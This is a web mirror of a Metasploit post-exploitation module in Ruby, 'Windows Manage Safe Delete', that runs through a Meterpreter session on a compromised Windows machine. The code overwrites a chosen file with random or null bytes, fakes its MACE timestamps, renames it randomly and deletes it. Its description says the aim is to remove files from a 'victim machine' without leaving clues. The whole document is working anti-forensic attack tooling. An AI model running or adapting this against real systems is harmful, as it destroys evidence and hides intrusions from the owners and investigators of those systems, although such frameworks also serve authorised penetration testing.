CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/sdel.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Windows::Priv
8
include Msf::Post::File
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Manage Safe Delete',
15
'Description' => %q{
16
The goal of the module is to hinder the recovery of deleted files by overwriting
17
its contents. This could be useful when you need to download some file on the victim
18
machine and then delete it without leaving clues about its contents. Note that the script
19
does not wipe the free disk space so temporary/sparse/encrypted/compressed files could
20
not be overwritten. Note too that MTF entries are not overwritten so very small files
21
could stay resident within the stream descriptor.
22
},
23
'License' => BSD_LICENSE,
24
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'],
25
'Platform' => [ 'win' ],
26
'SessionTypes' => [ 'meterpreter' ],
27
'Compat' => {
28
'Meterpreter' => {
29
'Commands' => %w[
30
priv_fs_set_file_mace
31
stdapi_fs_stat
32
stdapi_railgun_api
33
stdapi_sys_config_getenv
34
]
35
}
36
}
37
)
38
)
39
40
register_options(
41
[
42
OptBool.new('ZERO', [ false, 'Zero overwrite. If set to false, random data will be used', false]),
43
OptInt.new('ITERATIONS', [false, 'The number of overwrite passes', 1 ]),
44
OptString.new('FILE', [true, 'File to be deleted', ''])
45
]
46
)
47
end
48
49
def run
50
type = 1
51
n = datastore['ITERATIONS']
52
file = datastore['FILE']
53
54
if datastore['ZERO']
55
type = 0
56
print_status('The file will be overwritten with null bytes')
57
end
58
59
if !file_exist?(file)
60
print_error("File #{file} does not exist")
61
return
62
elsif comp_encr(file)
63
print_status('File compress or encrypted. Content could not be overwritten!')
64
end
65
file_overwrite(file, type, n)
66
end
67
68
# Function to calculate the size of the cluster
69
def size_cluster
70
drive = session.sys.config.getenv('SystemDrive')
71
r = session.railgun.kernel32.GetDiskFreeSpaceA(drive, 4, 4, 4, 4)
72
cluster = r['lpBytesPerSector'] * r['lpSectorsPerCluster']
73
print_status("Cluster Size: #{cluster}")
74
75
return cluster
76
end
77
78
# Function to calculate the real file size on disk (file size + slack space)
79
def size_on_disk(file)
80
size_file = session.fs.file.stat(file).size
81
print_status("Size of the file: #{size_file}")
82
83
if (size_file < 800)
84
print_status("The file is too small. If it's store in the MTF (NTFS) sdel will not overwrite it!")
85
end
86
87
sizeC = size_cluster
88
size_ = size_file.divmod(sizeC)
89
90
if size_.last != 0
91
real_size = (size_.first * sizeC) + sizeC
92
else
93
real_size = size_.first * sizeC
94
end
95
96
print_status("Size on disk: #{real_size}")
97
return real_size
98
end
99
100
# Change MACE attributes. Get a fake date by subtracting N days from the current date
101
def change_mace(file)
102
rsec = Rex::Text.rand_text_numeric(7, bad = '012')
103
date = Time.now - rsec.to_i
104
print_status('Changing MACE attributes')
105
session.priv.fs.set_file_mace(file, date, date, date, date)
106
end
107
108
# Function to overwrite the file
109
def file_overwrite(file, type, n)
110
# FILE_FLAG_WRITE_THROUGH: Write operations will go directly to disk
111
r = session.railgun.kernel32.CreateFileA(file, 'GENERIC_WRITE', 'FILE_SHARE_READ|FILE_SHARE_WRITE', nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH', 0)
112
handle = r['return']
113
real_size = size_on_disk(file)
114
115
if type == 0
116
random = "\0" * real_size
117
end
118
119
i = 0
120
n.times do
121
i += 1
122
print_status("Iteration #{i}/#{n}:")
123
124
if type == 1
125
random = Rex::Text.rand_text(real_size, nil)
126
end
127
128
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365541(v=vs.85).aspx
129
session.railgun.kernel32.SetFilePointer(handle, 0, nil, 'FILE_BEGIN')
130
131
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365747(v=vs.85).aspx
132
w = session.railgun.kernel32.WriteFile(handle, random, real_size, 4, nil)
133
134
if w['return'] == false
135
print_error('The was an error writing to disk, check permissions')
136
return
137
end
138
139
print_status("#{w['lpNumberOfBytesWritten']} bytes overwritten")
140
end
141
142
session.railgun.kernel32.CloseHandle(handle)
143
change_mace(file)
144
145
# Generate a long random file name before delete it
146
newname = Rex::Text.rand_text_alpha(200, nil)
147
print_status('Changing file name')
148
149
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa365239(v=vs.85).aspx
150
session.railgun.kernel32.MoveFileA(file, newname)
151
152
file_rm(newname)
153
print_good('File erased!')
154
end
155
156
# Check if the file is encrypted or compressed
157
def comp_encr(file)
158
# http://msdn.microsoft.com/en-us/library/windows/desktop/aa364944(v=vs.85).aspx
159
handle = session.railgun.kernel32.GetFileAttributesA(file)
160
type = handle['return']
161
162
# FILE_ATTRIBUTE_COMPRESSED=0x800
163
# FILE_ATTRIBUTE_ENCRYPTED=0x4000
164
if (type & (0x4800)).nonzero?
165
return true
166
end
167
168
return false
169
end
170
end
171
172